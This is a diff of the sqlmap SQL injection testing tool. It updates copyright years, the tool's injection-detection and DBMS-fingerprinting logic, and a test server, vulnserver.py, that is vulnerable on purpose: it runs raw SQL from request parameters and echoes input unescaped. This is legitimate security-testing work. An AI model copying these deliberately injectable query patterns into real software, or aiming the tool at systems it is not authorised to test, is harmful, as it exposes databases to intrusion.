# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# sudo pip install modernize
|
# sudo pip install modernize
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
||||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
|
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
|
|||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
python sqlmap.py -h
|
sqlmap -h
|
||||||
|
|
||||||
To get a list of all options and switches use:
|
To get a list of all options and switches use:
|
||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
python sqlmap.py -hh
|
sqlmap -hh
|
||||||
|
|
||||||
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
||||||
get an overview of sqlmap capabilities, list of supported features and
|
get an overview of sqlmap capabilities, list of supported features and
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,20 +3,23 @@
|
|||||||
"""
|
"""
|
||||||
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import json
|
||||||
import re
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
if sys.version_info >= (3, 0):
|
PY3 = sys.version_info >= (3, 0)
|
||||||
from http.client import FOUND
|
UNICODE_ENCODING = "utf-8"
|
||||||
|
|
||||||
|
if PY3:
|
||||||
from http.client import INTERNAL_SERVER_ERROR
|
from http.client import INTERNAL_SERVER_ERROR
|
||||||
from http.client import NOT_FOUND
|
from http.client import NOT_FOUND
|
||||||
from http.client import OK
|
from http.client import OK
|
||||||
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
|
|||||||
else:
|
else:
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
from BaseHTTPServer import HTTPServer
|
from BaseHTTPServer import HTTPServer
|
||||||
from httplib import FOUND
|
|
||||||
from httplib import INTERNAL_SERVER_ERROR
|
from httplib import INTERNAL_SERVER_ERROR
|
||||||
from httplib import NOT_FOUND
|
from httplib import NOT_FOUND
|
||||||
from httplib import OK
|
from httplib import OK
|
||||||
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
self.send_response(INTERNAL_SERVER_ERROR)
|
self.send_response(INTERNAL_SERVER_ERROR)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
|
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
|
||||||
return
|
return
|
||||||
|
|
||||||
if hasattr(self, "data"):
|
if hasattr(self, "data"):
|
||||||
params.update(parse_qs(self.data))
|
if self.data.startswith('{') and self.data.endswith('}'):
|
||||||
|
params.update(json.loads(self.data))
|
||||||
|
elif self.data.startswith('<') and self.data.endswith('>'):
|
||||||
|
params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
|
||||||
|
else:
|
||||||
|
params.update(parse_qs(self.data))
|
||||||
|
|
||||||
|
for name in self.headers:
|
||||||
|
params[name.lower()] = self.headers[name]
|
||||||
|
|
||||||
|
if "cookie" in params:
|
||||||
|
for part in params["cookie"].split(';'):
|
||||||
|
part = part.strip()
|
||||||
|
if '=' in part:
|
||||||
|
name, value = part.split('=', 1)
|
||||||
|
params[name.strip()] = unquote_plus(value.strip())
|
||||||
|
|
||||||
for key in params:
|
for key in params:
|
||||||
if params[key]:
|
if params[key] and isinstance(params[key], (tuple, list)):
|
||||||
params[key] = params[key][-1]
|
params[key] = params[key][-1]
|
||||||
|
|
||||||
self.url, self.params = path, params
|
self.url, self.params = path, params
|
||||||
|
|
||||||
if self.url == '/':
|
if self.url == '/':
|
||||||
if "id" not in params:
|
|
||||||
self.send_response(FOUND)
|
if not any(_ in self.params for _ in ("id", "query")):
|
||||||
self.send_header("Connection", "close")
|
|
||||||
self.send_header("Location", "/?id=1")
|
|
||||||
self.end_headers()
|
|
||||||
else:
|
|
||||||
self.send_response(OK)
|
self.send_response(OK)
|
||||||
self.send_header("Content-type", "text/html")
|
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
|
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
||||||
|
else:
|
||||||
|
code, output = OK, ""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|
||||||
|
if self.params.get("echo", ""):
|
||||||
|
output += "%s<br>" % self.params["echo"]
|
||||||
|
|
||||||
with _lock:
|
with _lock:
|
||||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
|
if "query" in self.params:
|
||||||
|
_cursor.execute(self.params["query"])
|
||||||
|
elif "id" in self.params:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||||
results = _cursor.fetchall()
|
results = _cursor.fetchall()
|
||||||
|
|
||||||
output = "<b>SQL results:</b>\n"
|
output += "<b>SQL results:</b>\n"
|
||||||
output += "<table border=\"1\">\n"
|
output += "<table border=\"1\">\n"
|
||||||
|
|
||||||
for row in results:
|
for row in results:
|
||||||
output += "<tr>"
|
output += "<tr>"
|
||||||
for value in row:
|
for value in row:
|
||||||
output += "<td>%s</td>" % value
|
output += "<td>%s</td>" % value
|
||||||
output += "</tr>\n"
|
output += "</tr>\n"
|
||||||
|
|
||||||
output += "</table>\n"
|
output += "</table>\n"
|
||||||
output += "</body></html>"
|
output += "</body></html>"
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
|
code = INTERNAL_SERVER_ERROR
|
||||||
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
|
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
|
||||||
|
|
||||||
self.wfile.write(output.encode("utf8"))
|
self.send_response(code)
|
||||||
|
|
||||||
|
self.send_header("Content-type", "text/html")
|
||||||
|
self.send_header("Connection", "close")
|
||||||
|
|
||||||
|
if self.raw_requestline.startswith(b"HEAD"):
|
||||||
|
self.send_header("Content-Length", str(len(output)))
|
||||||
|
self.end_headers()
|
||||||
|
else:
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
|
||||||
else:
|
else:
|
||||||
self.send_response(NOT_FOUND)
|
self.send_response(NOT_FOUND)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
@@ -145,12 +181,37 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
def do_GET(self):
|
def do_GET(self):
|
||||||
self.do_REQUEST()
|
self.do_REQUEST()
|
||||||
|
|
||||||
|
def do_PUT(self):
|
||||||
|
self.do_REQUEST()
|
||||||
|
|
||||||
|
def do_HEAD(self):
|
||||||
|
self.do_REQUEST()
|
||||||
|
|
||||||
def do_POST(self):
|
def do_POST(self):
|
||||||
length = int(self.headers.get("Content-length", 0))
|
length = int(self.headers.get("Content-length", 0))
|
||||||
if length:
|
if length:
|
||||||
data = self.rfile.read(length)
|
data = self.rfile.read(length)
|
||||||
data = unquote_plus(data.decode("utf8"))
|
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
|
||||||
self.data = data
|
self.data = data
|
||||||
|
elif self.headers.get("Transfer-encoding") == "chunked":
|
||||||
|
data, line = b"", b""
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
while True:
|
||||||
|
line += self.rfile.read(1)
|
||||||
|
if line.endswith(b'\n'):
|
||||||
|
if count % 2 == 1:
|
||||||
|
current = line.rstrip(b"\r\n")
|
||||||
|
if not current:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
data += current
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
line = b""
|
||||||
|
|
||||||
|
self.data = data.decode(UNICODE_ENCODING, "ignore")
|
||||||
|
|
||||||
self.do_REQUEST()
|
self.do_REQUEST()
|
||||||
|
|
||||||
def log_message(self, format, *args):
|
def log_message(self, format, *args):
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -181,7 +181,10 @@ def action():
|
|||||||
raise
|
raise
|
||||||
|
|
||||||
if conf.sqlQuery:
|
if conf.sqlQuery:
|
||||||
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
|
for query in conf.sqlQuery.strip(';').split(';'):
|
||||||
|
query = query.strip()
|
||||||
|
if query:
|
||||||
|
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
|
||||||
|
|
||||||
if conf.sqlShell:
|
if conf.sqlShell:
|
||||||
conf.dbmsHandler.sqlShell()
|
conf.dbmsHandler.sqlShell()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
|
|||||||
from lib.core.common import hashDBRetrieve
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import hashDBWrite
|
from lib.core.common import hashDBWrite
|
||||||
from lib.core.common import intersect
|
from lib.core.common import intersect
|
||||||
|
from lib.core.common import joinValue
|
||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import parseFilePaths
|
from lib.core.common import parseFilePaths
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
|
|||||||
from lib.core.common import wasLastResponseDBMSError
|
from lib.core.common import wasLastResponseDBMSError
|
||||||
from lib.core.common import wasLastResponseHTTPError
|
from lib.core.common import wasLastResponseHTTPError
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
|
from lib.core.convert import getBytes
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -52,6 +54,7 @@ from lib.core.datatype import AttribDict
|
|||||||
from lib.core.datatype import InjectionDict
|
from lib.core.datatype import InjectionDict
|
||||||
from lib.core.decorators import stackedmethod
|
from lib.core.decorators import stackedmethod
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
|
from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import HASHDB_KEYS
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
@@ -73,6 +76,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
|||||||
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
||||||
from lib.core.settings import CHECK_INTERNET_ADDRESS
|
from lib.core.settings import CHECK_INTERNET_ADDRESS
|
||||||
from lib.core.settings import CHECK_INTERNET_VALUE
|
from lib.core.settings import CHECK_INTERNET_VALUE
|
||||||
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||||
from lib.core.settings import FI_ERROR_REGEX
|
from lib.core.settings import FI_ERROR_REGEX
|
||||||
@@ -94,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
|
|||||||
from lib.core.settings import UPPER_RATIO_BOUND
|
from lib.core.settings import UPPER_RATIO_BOUND
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
from lib.request.inject import checkBooleanExpression
|
from lib.request.inject import checkBooleanExpression
|
||||||
@@ -152,7 +157,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# payload), ask the user to limit the tests to the fingerprinted
|
# payload), ask the user to limit the tests to the fingerprinted
|
||||||
# DBMS
|
# DBMS
|
||||||
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||||
|
|
||||||
@@ -162,7 +167,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# regardless of --level and --risk values provided
|
# regardless of --level and --risk values provided
|
||||||
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||||
msg = "for the remaining tests, do you want to include all tests "
|
msg = "for the remaining tests, do you want to include all tests "
|
||||||
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||||
msg += "level (%d)" % conf.level if conf.level < 5 else ""
|
msg += "level (%d)" % conf.level if conf.level < 5 else ""
|
||||||
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
|
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
|
||||||
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
|
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
|
||||||
@@ -516,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
except (MemoryError, OverflowError):
|
except (MemoryError, OverflowError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
kb.prevFalsePage = falsePage
|
|
||||||
|
|
||||||
# Perform the test's True request
|
# Perform the test's True request
|
||||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if candidates:
|
if candidates:
|
||||||
candidates = sorted(candidates, key=len)
|
candidates = sorted(candidates, key=len)
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
if re.match(r"\A\w+\Z", candidate):
|
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.string = candidate
|
conf.string = candidate
|
||||||
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
|
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
try:
|
||||||
process.wait()
|
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
||||||
|
process.wait()
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
kb.alerted = True
|
kb.alerted = True
|
||||||
|
|
||||||
@@ -875,12 +882,17 @@ def heuristicCheckDbms(injection):
|
|||||||
|
|
||||||
for dbms in getPublicTypeMembers(DBMS, True):
|
for dbms in getPublicTypeMembers(DBMS, True):
|
||||||
randStr1, randStr2 = randomStr(), randomStr()
|
randStr1, randStr2 = randomStr(), randomStr()
|
||||||
|
|
||||||
Backend.forceDbms(dbms)
|
Backend.forceDbms(dbms)
|
||||||
|
|
||||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
if dbms in HEURISTIC_NULL_EVAL:
|
||||||
continue
|
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
|
||||||
|
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
|
||||||
|
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
|
||||||
|
else:
|
||||||
|
result = False
|
||||||
|
|
||||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
if result:
|
||||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||||
retVal = dbms
|
retVal = dbms
|
||||||
break
|
break
|
||||||
@@ -924,6 +936,9 @@ def checkFalsePositives(injection):
|
|||||||
randInt1 = min(randInt1, randInt2, randInt3)
|
randInt1 = min(randInt1, randInt2, randInt3)
|
||||||
randInt3 = max(randInt1, randInt2, randInt3)
|
randInt3 = max(randInt1, randInt2, randInt3)
|
||||||
|
|
||||||
|
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||||
|
continue
|
||||||
|
|
||||||
if randInt3 > randInt2 > randInt1:
|
if randInt3 > randInt2 > randInt1:
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -1098,6 +1113,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
logger.warn(infoMsg)
|
logger.warn(infoMsg)
|
||||||
|
|
||||||
kb.heuristicMode = True
|
kb.heuristicMode = True
|
||||||
|
kb.disableHtmlDecoding = True
|
||||||
|
|
||||||
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
|
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
|
||||||
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
|
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
|
||||||
@@ -1117,6 +1133,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
break
|
break
|
||||||
|
|
||||||
|
kb.disableHtmlDecoding = False
|
||||||
kb.heuristicMode = False
|
kb.heuristicMode = False
|
||||||
|
|
||||||
return kb.heuristicTest
|
return kb.heuristicTest
|
||||||
@@ -1511,8 +1528,9 @@ def checkConnection(suppressOutput=False):
|
|||||||
conf.disablePrecon = True
|
conf.disablePrecon = True
|
||||||
|
|
||||||
if not kb.originalPage and wasLastResponseHTTPError():
|
if not kb.originalPage and wasLastResponseHTTPError():
|
||||||
errMsg = "unable to retrieve page content"
|
if getLastRequestHTTPError() not in (conf.ignoreCode or []):
|
||||||
raise SqlmapConnectionException(errMsg)
|
errMsg = "unable to retrieve page content"
|
||||||
|
raise SqlmapConnectionException(errMsg)
|
||||||
elif wasLastResponseDBMSError():
|
elif wasLastResponseDBMSError():
|
||||||
warnMsg = "there is a DBMS error found in the HTTP response body "
|
warnMsg = "there is a DBMS error found in the HTTP response body "
|
||||||
warnMsg += "which could interfere with the results of the tests"
|
warnMsg += "which could interfere with the results of the tests"
|
||||||
@@ -1559,6 +1577,16 @@ def checkConnection(suppressOutput=False):
|
|||||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||||
kb.originalCode = threadData.lastCode
|
kb.originalCode = threadData.lastCode
|
||||||
|
|
||||||
|
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
||||||
|
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||||
|
|
||||||
|
message = "you have not declared cookie(s), while "
|
||||||
|
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
|
||||||
|
message += "Do you want to use those [Y/n] "
|
||||||
|
if readInput(message, default='Y', boolean=True):
|
||||||
|
kb.mergeCookies = True
|
||||||
|
conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def checkInternet():
|
def checkInternet():
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
|
|||||||
from lib.core.common import hashDBRetrieve
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import hashDBWrite
|
from lib.core.common import hashDBWrite
|
||||||
from lib.core.common import intersect
|
from lib.core.common import intersect
|
||||||
|
from lib.core.common import isDigit
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import removePostHintPrefix
|
from lib.core.common import removePostHintPrefix
|
||||||
@@ -56,6 +58,7 @@ from lib.core.enums import NOTE
|
|||||||
